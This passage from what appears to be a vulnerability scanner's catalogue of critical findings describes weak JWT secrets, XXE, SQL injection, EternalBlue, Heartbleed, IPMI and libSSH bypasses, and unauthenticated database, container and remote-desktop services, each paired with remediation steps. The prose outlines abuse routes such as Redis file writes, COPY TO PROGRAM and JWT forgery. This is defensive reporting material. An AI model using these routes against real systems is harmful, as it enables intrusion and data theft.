Remediation: Use parameterized queries for all database operations involving JWT header values. Validate the kid header value against an allowlist of known key identifier formats before any database lookup. Sanitize kid values by allowing only alphanumeric characters and hyphens. Consider using an in-memory key store rather than database-backed key lookup to eliminate the SQL injection vector entirely.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-100 — JWT HMAC Secret Cracked
Description: Siphon successfully cracked the HMAC signing secret used by the API to sign JWTs using offline dictionary or brute-force attack (via hashcat or jwt-cracker). A weak or commonly-used HMAC secret can be recovered by testing the signature against wordlists. With the known secret, an attacker can forge arbitrary JWTs with any claims including elevated roles, extended expiry, or a different subject (user ID), achieving complete authentication bypass and privilege escalation to any account.
Remediation: Immediately rotate the JWT signing secret. Generate a new HMAC secret using a cryptographically secure random number generator with at least 256 bits of entropy. Store the secret in a secrets management system (HashiCorp Vault, AWS Secrets Manager). Consider migrating to asymmetric signing (RS256, ES256) where the private signing key is never shared and cannot be recovered from the token alone. Invalidate all existing tokens by changing the secret.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-103 — WS-Security Bypass — Expired Timestamp / Empty PasswordDigest Accepted
Description: Siphon confirmed that the SOAP API's WS-Security implementation accepts messages that fail one or more fundamental authentication checks: messages with an expired wsse:Timestamp (indicating the server does not enforce replay-window validation), or messages with an empty or null wsse:PasswordDigest value (indicating the server does not validate the digest against the password and nonce). WS-Security timestamps are designed to limit the window in which a captured SOAP message can be replayed; a server that ignores expiry allows indefinite replay of any intercepted authenticated message. An empty PasswordDigest acceptance means authentication can be bypassed by sending any username with an empty credential field, granting unauthenticated access to all API operations.
Remediation: Enforce strict WS-Security timestamp validation with a replay window of no more than 5 minutes and reject all messages whose wsu:Expires has elapsed. Validate the PasswordDigest using the correct formula: Base64(SHA-1(Nonce + Created + Password)); reject any message where the computed digest does not match the submitted value. Reject messages with null, empty, or malformed PasswordDigest values before any business logic is invoked. Maintain a server-side nonce cache to detect and reject replayed nonces within the allowed replay window.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion), T1556 (Credential Access)
NIST 800-53: IA-5, SC-8, AC-17
PCI DSS 4: 8.3.6, 4.2.1
CRITICAL SI-108 — Weak JWT Secret
Description: Siphon identified that the HMAC secret used to sign JWTs is weak — matching a known default value, a short string, a dictionary word, or a low-entropy pattern detectable through analysis of the token structure. A weak HMAC signing secret is susceptible to offline brute-force and dictionary attacks: once a valid JWT is obtained, an attacker can recover the secret using tools such as hashcat or jwt-cracker without any further server interaction. With the recovered secret, the attacker can forge arbitrary JWTs with any claims including elevated roles, alternative subject identifiers, or extended expiry, achieving complete authentication bypass and horizontal or vertical privilege escalation.
Remediation: Immediately rotate the JWT signing secret. Generate the new secret using a cryptographically secure random number generator (os.urandom, /dev/urandom, or an HSM) with a minimum of 256 bits of entropy. Do not use human-readable strings, environment variable defaults, or framework placeholder values as signing secrets. Store the secret in a secrets management system (HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager) rather than in configuration files or environment variables committed to source control. Consider migrating to asymmetric signing (RS256, ES256) to eliminate the shared-secret risk model entirely.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.6
CRITICAL SI-110 — XML External Entity (XXE) Injection in API
Description: Siphon confirmed an XML External Entity (XXE) injection vulnerability where the API accepts XML input and the underlying XML parser processes external entity declarations (DOCTYPE / ENTITY). An attacker can inject an XXE payload that causes the parser to read arbitrary local files from the server filesystem (e.g., /etc/passwd, /etc/shadow, application configuration and credential files) and include their contents in the response. Out-of-band XXE can exfiltrate file contents to an attacker-controlled DNS or HTTP endpoint even when the response does not directly reflect the file. In some configurations XXE enables SSRF against internal services, denial-of-service via billion-laughs entity expansion, and remote code execution via certain XML parser features.
Remediation: Disable external entity processing and DTD processing entirely in the XML parser configuration. In Java, set XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES and XMLInputFactory.SUPPORT_DTD to false. In Python, use defusedxml instead of the standard library xml module. In PHP, call libxml_disable_entity_loader(true) before parsing. If XML with DTD is a business requirement, use a parser that supports a safe whitelist of entity definitions and blocks all external references. Migrate XML-based APIs to JSON where possible to eliminate the XXE attack surface.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
CRITICAL SI-130 — SQL Injection (Error-Based)
Description: Siphon observed a database error message in the response after injecting SQL metacharacters into a parameter, indicating that user input is concatenated into SQL statements without parameterisation (error-based SQL injection).
Impact: An attacker can read, modify or delete arbitrary database contents, bypass authentication, and in many configurations escalate to file-system access or command execution on the database host. Error-based injection also discloses schema details that accelerate full database compromise.
Remediation: Use parameterised queries / prepared statements for all database access; never build SQL by string concatenation of user input, and suppress database error detail in production responses.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL SS-071 — Unauthenticated Docker API Exposed
Description: The Docker Engine API is accessible without authentication. Endpoints such as /v1.24/containers/json and /v1.24/images/json return data freely, allowing enumeration of all containers and images on the host.
Impact: An attacker can create, start, stop, and delete containers, pull arbitrary images, mount the host filesystem via --privileged containers, read secrets and environment variables from running containers, and achieve full host-level remote code execution.
Remediation: Restrict Docker API access to localhost or trusted networks. Enable TLS client certificate authentication. Use Docker's built-in authorization plugins.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1610 (Defense Evasion)
NIST 800-53: AC-3, CM-7
PCI DSS 4: 2.2.2, 7.1.1
CRITICAL SS-072 — PostgreSQL Trust Authentication Enabled
Description: PostgreSQL accepts connections as user 'postgres' without requiring a password, indicating trust authentication is configured in pg_hba.conf for the connecting network.
Impact: Full superuser database access to anyone who can reach the port, allowing data exfiltration, modification, deletion, and potential OS command execution via COPY TO PROGRAM or custom functions.
Remediation: Reconfigure pg_hba.conf to require md5, scram-sha-256, or certificate authentication for all connections. Remove any 'trust' entries for non-local connections.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 8.3.1, 2.2.2
CRITICAL SS-075 — Grafana Default Credentials (admin:admin)
Description: Grafana accepts the default credentials admin:admin, granting full administrative access to the Grafana instance.
Impact: Full administrative access to all dashboards, data sources (which may contain database credentials and API keys), alerting rules, user management, and the ability to install plugins that could provide further access to the underlying system.
Remediation: Change the default admin password immediately. Enforce strong password policies and consider implementing SSO/LDAP authentication.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5
PCI DSS 4: 2.1.1, 8.3.6
CRITICAL SS3-005 — SSLv2 Enabled
Description: The server accepts SSLv2 connections. SSLv2 is fundamentally broken and vulnerable to the DROWN attack (CVE-2016-0800), which can decrypt TLS 1.2 sessions.
Remediation: Disable SSLv2 immediately. Configure modern TLS 1.2+ with authenticated encryption cipher suites.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
CRITICAL SS3-010 — TLS Heartbleed Vulnerability
Description: The server is vulnerable to Heartbleed (CVE-2014-0160). An attacker can read up to 64 KB of server process memory per request, potentially exposing private keys, session tokens, and plaintext data.
Remediation: Upgrade OpenSSL to 1.0.1g or later. Revoke and replace server certificates and private keys. Invalidate all session tokens.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A06:2021
CRITICAL SS3-012 — SMB Share Accessible (No Authentication)
Description: An SMB share is accessible without authentication (null session or guest access). Files and directories on the share are readable and potentially writable by unauthenticated users.
Remediation: Disable null session access. Remove guest accounts. Enforce authentication on all shares. Audit share permissions.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A01:2021
CRITICAL SS3-015 — NTLMv1 Hash Captured
Description: An NTLMv1 authentication hash was captured via Responder poisoning. NTLMv1 is trivially crackable in seconds using rainbow tables or GPU brute force.
Remediation: Disable NTLMv1 via Group Policy: 'Network security: LAN Manager authentication level' to 'Send NTLMv2 response only'. Disable LLMNR and NBT-NS.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: IA-3, SC-8, CM-7
PCI DSS 4: 1.3.2, 2.2.4
CRITICAL SS3-017 — Default Credentials Accepted
Description: A service accepted a known factory-default username and password combination. Default credentials are documented publicly and exploited trivially.
Remediation: Change default credentials immediately on all devices and services. Implement a credential management policy and enforce credential rotation.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
CRITICAL SS3-018 — SSH Brute-Force Credentials Valid
Description: Hydra discovered valid SSH credentials by brute-forcing the login service. An attacker can authenticate interactively and gain shell access to the target host.
Remediation: Implement SSH key-based authentication and disable password authentication. Deploy fail2ban or equivalent. Enforce account lockout policy.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-5, AC-7, SI-4
PCI DSS 4: 8.3.1, 8.3.4, 8.3.6
CRITICAL SS3-022 — Nuclei: Default Login Accepted
Description: Nuclei's default-login template confirmed a vendor-default credential pair is accepted by a web application or management interface.
Remediation: Change all default credentials. Enforce a password rotation policy. Add MFA to web-accessible management interfaces.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
CRITICAL SS3-027 — SQL Injection Vulnerability
Description: sqlmap detected a SQL injection vulnerability in a web application parameter. An attacker can extract, modify, or delete database contents, potentially gaining OS-level command execution.
Remediation: Use parameterised queries or prepared statements. Apply input validation and output encoding. Deploy a WAF with SQLi signatures. Conduct a full application security review.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A03:2021
CRITICAL SS3-034 — BloodHound: Attack Path to Domain Admin Found
Description: BloodHound-Python graph collection identified a privilege escalation path from a compromised account to Domain Admin rights, typically via ACL abuse, constrained delegation, or group membership chains.
Remediation: Review and remediate the specific attack path(s) identified. Remove excessive ACL delegations. Apply the principle of least privilege to service accounts and admin groups.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1482 (Discovery), T1087.002 (Discovery), T1069.002 (Discovery)
NIST 800-53: AC-6, AC-2, AU-12
PCI DSS 4: 7.2.1, 8.4.2
CRITICAL SS3-039 — VNC Accessible Without Authentication
Description: A VNC service is accessible from the network without requiring authentication. An attacker has full graphical desktop access to the system.
Remediation: Enable VNC authentication immediately. Restrict VNC access to management networks. Use a VPN for remote access. Prefer alternatives with stronger authentication.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
CRITICAL SS3-042 — IPMI Authentication Bypass
Description: The IPMI/BMC interface is vulnerable to an authentication bypass (CVE-2013-4786 / Cipher 0 attack) allowing unauthenticated access to server management functions.
Remediation: Disable IPMI Cipher Suite 0. Update BMC firmware. Restrict IPMI access to dedicated management VLANs. Require strong authentication.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Defense Evasion), T1110 (Credential Access)
NIST 800-53: IA-2, IA-3, CM-7
PCI DSS 4: 8.2.1, 2.2.4
CRITICAL SS3-043 — Oracle Database Default Credentials (ODAT)
Description: ODAT discovered valid credentials on an Oracle database listener (port 1521). An attacker with database access can exfiltrate data or escalate to OS-level command execution.
Remediation: Change Oracle default accounts (SYS, SYSTEM, DBSNMP, SCOTT). Apply Oracle CPUs. Restrict listener access by IP. Disable remote OS authentication.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
CRITICAL SS3-044 — MSSQL Default Credentials (msdat)
Description: msdat discovered valid credentials on a Microsoft SQL Server (port 1433/1434). Attackers can query data, execute xp_cmdshell, or use MSSQL as a pivot point.
Remediation: Disable the SA account or change its password. Enable SQL Server Audit. Restrict port 1433 to application servers only. Disable xp_cmdshell.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
CRITICAL SS3-047 — EternalBlue (MS17-010) — Host Confirmed Vulnerable
Description: The target host has been positively confirmed as vulnerable to EternalBlue (MS17-010). The SMBv1 implementation in the Windows SMB server does not properly handle transaction requests, allowing an unauthenticated remote attacker to execute arbitrary code with SYSTEM privileges. This vulnerability was weaponised by the WannaCry and NotPetya ransomware families and remains one of the most widely exploited vulnerabilities in existence. Successful exploitation requires no credentials and provides complete control of the target host.
Remediation: Apply Microsoft security update MS17-010 immediately. Disable SMBv1 via PowerShell: Set-SmbServerConfiguration -EnableSMB1Protocol $false. Block port 445 at perimeter and between network segments. Verify patch status via WSUS or SCCM.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
CRITICAL SS3-048 — EternalBlue (MS17-010) — Likely Vulnerable (SMBv1 + Unpatched)
Description: The target host exposes SMBv1 and does not appear to have the MS17-010 patch applied, indicating a high likelihood of vulnerability to EternalBlue. While this finding is based on banner analysis and SMB negotiation response rather than active exploitation confirmation, the combination of SMBv1 enabled and absence of patching indicators represents a critical exposure. EternalBlue (CVE-2017-0144) allows unauthenticated remote code execution with SYSTEM privileges on unpatched Windows hosts.
Remediation: Apply MS17-010 immediately. Disable SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol $false. Validate patch status using the Metasploit auxiliary scanner (auxiliary/scanner/smb/smb_ms17_010) for definitive confirmation. Isolate host until patched.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
CRITICAL SS3-049 — SMBv1 Protocol Enabled (EternalBlue Risk)
Description: The SMBv1 protocol is enabled on this host. SMBv1 is a legacy protocol deprecated by Microsoft in 2014 that contains the vulnerability class exploited by EternalBlue (MS17-010). Even if MS17-010 is patched, SMBv1 contains additional weaknesses including susceptibility to NTLM relay attacks and other protocol-level vulnerabilities. Microsoft recommends disabling SMBv1 entirely on all systems regardless of patch level.
Remediation: Disable SMBv1 via Group Policy (Computer Configuration > Administrative Templates > Network > Lanman Workstation > Enable insecure guest logons: Disabled) or PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol. Verify with: Get-SmbServerConfiguration | Select EnableSMB1Protocol.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1021.002 (Lateral Movement)
NIST 800-53: CM-7, SI-2, CM-6
PCI DSS 4: 6.3.3, 2.2.4
CRITICAL SS3-050 — IPMI 2.0 Cipher Suite 0 — Authentication Bypass and Hash Capture
Description: The IPMI 2.0 implementation on this host accepts Cipher Suite 0 (null authentication), allowing an unauthenticated attacker to authenticate to the BMC with any password (CVE-2013-4786). Additionally, the IPMI 2.0 RAKP protocol leaks a salted SHA1 or MD5 hash of the remote management password during the authentication handshake, enabling offline password cracking even when Cipher Suite 0 is disabled. Successful exploitation grants full out-of-band server management access including console, power control, and firmware update capabilities.
Remediation: Disable IPMI Cipher Suite 0 in BMC configuration. Update BMC firmware to the latest version from the vendor. Restrict IPMI access (UDP 623) to dedicated out-of-band management VLANs with strict ACLs. Change all IPMI passwords to long, randomly generated values.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Defense Evasion), T1110 (Credential Access)
NIST 800-53: IA-2, IA-3, CM-7
PCI DSS 4: 8.2.1, 2.2.4
CRITICAL SS3-052 — SSH Vulnerability: 'none' Authentication Accepted (libSSH Bypass CVE-2018-10933)
Description: The SSH server accepts the 'none' authentication method due to an authentication bypass vulnerability in libSSH (CVE-2018-10933). An attacker can send an SSH2_MSG_USERAUTH_SUCCESS message before authentication is complete, causing the server to grant full authenticated access without any valid credentials. This affects libSSH versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 and provides complete unauthenticated shell access to any account.
Remediation: Upgrade libSSH to version 0.7.6 or 0.8.4 or later. For systems using OpenSSH this vulnerability does not apply — verify the SSH daemon in use. Apply vendor-supplied security patches immediately.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, CM-7, SI-2
PCI DSS 4: 6.3.3, 8.2.1
CRITICAL SS3-064 — Redis Unauthenticated Access
Description: The Redis server on this host is accessible without authentication. Redis provides no access control beyond an optional password, and when exposed without authentication, allows any connected client to read, overwrite, or delete the entire key-value store. Redis supports commands such as CONFIG SET that can be abused to write attacker-controlled files to arbitrary locations on the server filesystem, commonly used to achieve remote code execution via cron job or SSH authorized_keys injection.
Remediation: Enable Redis authentication (requirepass) with a long randomly generated password. Bind Redis to localhost (bind 127.0.0.1) unless remote access is explicitly required. Use Redis 6+ ACL system to enforce per-user permissions. Block port 6379 at the network perimeter. Deploy Redis behind a VPN or bastion host.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, AC-6, CM-6
PCI DSS 4: 6.2.4, 2.2.1
CRITICAL SS3-065 — MySQL Unauthenticated Access — Root with No Password
Description: The MySQL server accepts connections as the root user without a password from the network. This grants an attacker full database administrator access including the ability to read, write, and delete any database, load/dump files to and from the server filesystem using LOAD DATA INFILE and SELECT INTO OUTFILE, and potentially execute OS commands via User-Defined Functions (UDFs). This represents complete compromise of database confidentiality and integrity.
Remediation: Assign a strong password to the MySQL root account: ALTER USER 'root'@'%' IDENTIFIED BY 'strong_password'; Revoke remote root access: DELETE FROM mysql.user WHERE User='root' AND Host!='localhost'; Bind MySQL to localhost or a specific management interface. Restrict remote access with GRANT statements limited to specific source IPs.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
CRITICAL SS3-067 — VMware ESXi Management Interface Exposed
Description: A VMware ESXi management interface (vSphere Client HTTPS on port 443, or ESXi Shell on port 22) is accessible from the network. ESXi hypervisors represent a critical attack surface: compromise of the hypervisor provides control over all guest virtual machines including the ability to power off, snapshot, clone, or extract disk images. ESXi has been a frequent ransomware target (ESXiArgs, Royal, BlackBasta), and exposed management interfaces are frequently exploited using known CVEs such as CVE-2021-22005 and CVE-2022-47966.
Remediation: Restrict ESXi management access (ports 443, 22, 902, 5900) to dedicated management VLANs and bastion hosts. Disable ESXi Shell and SSH when not in use. Apply VMware security advisories and vSphere patches immediately. Enable two-factor authentication via vCenter. Join hosts to vCenter and manage via RBAC rather than direct host access.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1210 (Lateral Movement), T1046 (Discovery)
NIST 800-53: CM-7, AC-17, RA-5
PCI DSS 4: 1.3.1, 6.3.3
CISA KEV
CRITICAL SS3-070 — SMB Administrative Access via Credentials
Description: Valid credentials were used to authenticate to the SMB service with administrative privileges, and access to administrative shares (C$, ADMIN$, IPC$) was confirmed. Administrative SMB access allows reading and writing files anywhere on the target filesystem, remote service/registry manipulation, and is the primary mechanism used by post-exploitation frameworks (Impacket, CrackMapExec, Metasploit) for lateral movement and remote code execution via PsExec, WMIExec, or SMBExec.
Remediation: Rotate compromised credentials immediately. Implement LAPS (Local Administrator Password Solution) to randomise local administrator passwords per host. Disable the built-in administrator account. Enable SMB signing. Implement network segmentation to limit lateral movement pathways.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1069.002 (Discovery), T1021.002 (Lateral Movement)
NIST 800-53: AC-6, AC-2, IA-5
PCI DSS 4: 7.2.1, 8.4.2
CRITICAL SS3-087 — Valid Credentials via Brute Force
Description: Automated credential brute-force or password spraying discovered a valid username and password combination against a network service or web application. The valid credentials have been confirmed by a successful authentication response from the target. This finding represents direct confirmation that an attacker can authenticate to the service and perform all actions permitted to the compromised account.
Remediation: Rotate the compromised credentials immediately. Implement account lockout or rate limiting on the affected service. Deploy multi-factor authentication. Review authentication logs to determine if the credentials were used by an unauthorised party prior to discovery. Enforce a strong password policy.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-5, AC-7, SI-4
PCI DSS 4: 8.3.1, 8.3.4, 8.3.6
CRITICAL SS3-092 — Information Disclosure: Plaintext Credentials in Web Content
Description: Credentials (usernames, passwords, API keys, tokens, or connection strings) were discovered in plaintext within web-accessible content, including HTML source, JavaScript files, configuration files served by the web server, or directory listing contents. Plaintext credentials in web-accessible content can be harvested by any user who can access the page and frequently provide direct access to backend databases, APIs, or privileged service accounts.
Remediation: Immediately rotate all exposed credentials. Remove credentials from web-accessible content. Use environment variables or a secrets manager (Vault, AWS Secrets Manager) for credential storage. Audit the web server document root for sensitive files. Implement web application firewall rules to prevent configuration file access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-7
PCI DSS 4: 4.2.1, 4.2.2
CRITICAL SS3-104 — SSL/TLS Vulnerability: Heartbleed (CVE-2014-0160)
Description: The target server is confirmed vulnerable to Heartbleed (CVE-2014-0160). The OpenSSL heartbeat extension does not properly validate the length field in TLS heartbeat requests, allowing an unauthenticated attacker to read up to 64 KB of server process memory per request. Repeated exploitation can expose TLS private keys, session tokens, plaintext credentials, and other sensitive in-memory data without leaving log entries. This vulnerability is distinct from SS3-010 (which covers testssl detection) — this entry is raised when the Scattershot3 Heartbleed probe module independently confirms the vulnerability.
Impact: Heartbleed (CVE-2014-0160) is a critical memory disclosure vulnerability in OpenSSL that allows an attacker to read up to 64KB of server memory per request without authentication or logging. Leaked memory routinely contains private keys, session tokens, and user credentials, enabling complete compromise of the affected server.
Remediation: Upgrade OpenSSL to version 1.0.1g or later (or 1.0.2 branch). Revoke and replace the server's TLS certificate and private key immediately — the private key must be assumed compromised. Invalidate all active user sessions. Reissue any client certificates if a client PKI is in use.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A06:2021
CRITICAL SS3-106 — OS End-of-Life
Description: The operating system running on this host has reached End-of-Life (EOL) status and is no longer receiving security updates or patches from the vendor. EOL operating systems accumulate unpatched critical vulnerabilities indefinitely and are frequently targeted by automated exploit tools and ransomware families. Any new vulnerability disclosed after the EOL date will remain permanently unpatched on this host, representing an ever-growing attack surface.
Remediation: Upgrade the operating system to a supported version immediately. If upgrade is not immediately feasible, isolate the host from untrusted networks, implement compensating controls (host-based IPS, network segmentation, application allowlisting), and create an urgent remediation plan with a defined timeline.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, SA-22, CM-8
PCI DSS 4: 6.3.3, 12.3.4
CRITICAL SS3-181 — VNC: No Authentication Required
Description: The VNC server accepts connections with security type 1 (None), allowing any remote user to connect without providing credentials. The RFB handshake confirms authentication is not enforced.
Impact: An attacker gains full interactive desktop access to the host without any credentials, enabling complete control of the system including file access, application execution, and keystroke capture.
Remediation: Configure VNC to require strong authentication. Use VNC password authentication at minimum; prefer certificate-based or OS-integrated authentication. Restrict VNC access to trusted networks via firewall rules and VPN.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: IA-2, AC-17, AC-3
PCI DSS 4: 2.2.1, 8.3.1
CRITICAL SS3-183 — WinRM: No Authentication Required
Description: The WinRM (Windows Remote Management) service responded to an unauthenticated SOAP/WS-Management request without requiring credentials, allowing remote command execution.
Impact: An attacker can execute arbitrary commands on the Windows host remotely without credentials, enabling full system compromise, data exfiltration, and lateral movement.
Remediation: Configure WinRM to require authentication (Kerberos or NTLM). Restrict WinRM access via Windows Firewall or GPO to trusted management networks only.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1021.006 (Lateral Movement)
NIST 800-53: IA-2, AC-17, AC-3
PCI DSS 4: 2.2.1, 8.3.1
CRITICAL SS3-187 — Kubernetes API: Unauthenticated Access
Description: The Kubernetes API server is accessible without authentication. Unauthenticated requests can list, create, and modify cluster resources including pods, secrets, and deployments.
Impact: An attacker can fully compromise the Kubernetes cluster — deploying malicious containers, exfiltrating secrets (including cloud credentials and TLS keys), pivoting to other infrastructure, and achieving persistent backdoor access.
Remediation: Enable RBAC and configure API server authentication (certificates, OIDC, or webhook). Restrict API access to authorized networks. Never expose the API server to untrusted networks.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1610 (Execution), T1552.007 (Credential Access)
NIST 800-53: IA-2, AC-3, AC-6
PCI DSS 4: 2.2.1, 7.2.1
CRITICAL SS3-188 — Kubelet API: Unauthenticated Access
Description: The Kubelet API on port 10250 is accessible without authentication, allowing direct interaction with containers running on the node.
Impact: An attacker can list running pods, execute commands inside containers, and exfiltrate data from any container on the node without any credentials.
Remediation: Enable kubelet authentication and authorization (--authentication-token-webhook, --authorization-mode=Webhook). Disable the read-only port (10255).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1609 (Execution)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 2.2.1, 7.2.1
CRITICAL SS3-192 — Memcached: Unauthenticated Access
Description: Memcached is accessible without authentication. The 'stats' command returned data successfully, confirming no authentication is configured.
Impact: An attacker can read and modify cached data (including session tokens, credentials, and application data), flush the cache to cause a denial of service, or use the server for DDoS amplification attacks.
Remediation: Enable SASL authentication for Memcached. Bind to localhost or trusted interfaces only. Implement firewall rules to restrict access. Consider Memcached with TLS (1.5.13+).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
